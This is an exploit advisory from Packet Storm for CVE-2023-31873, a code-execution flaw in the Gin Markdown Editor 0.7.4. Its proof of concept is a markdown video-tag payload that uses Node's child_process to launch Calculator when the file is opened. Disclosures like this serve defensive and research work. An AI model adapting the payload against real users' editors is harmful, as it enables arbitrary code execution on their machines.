CVE-2023-31873: Gin Markdown Editor 0.7.4 Arbitrary Code Execution ≈ Packet Storm

# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution# Date: 2023-04-24# Exploit Author: 8bitsec# CVE: CVE-2023-31873# Vendor Homepage: https://github.com/mariuskueng/gin# Software Link: https://github.com/mariuskueng/gin# Version: 0.7.4# Tested on: [Mac OS 13]Release Date:2023-04-24Product & Service Introduction: Javascript Markdown editor for MacTechnical Details & Description:A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.Proof of Concept (PoC):Arbitrary code execution:Create a markdown file (.md) in any text editor and write the following payload:<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">Opening the file in Gin will auto execute the Calculator application.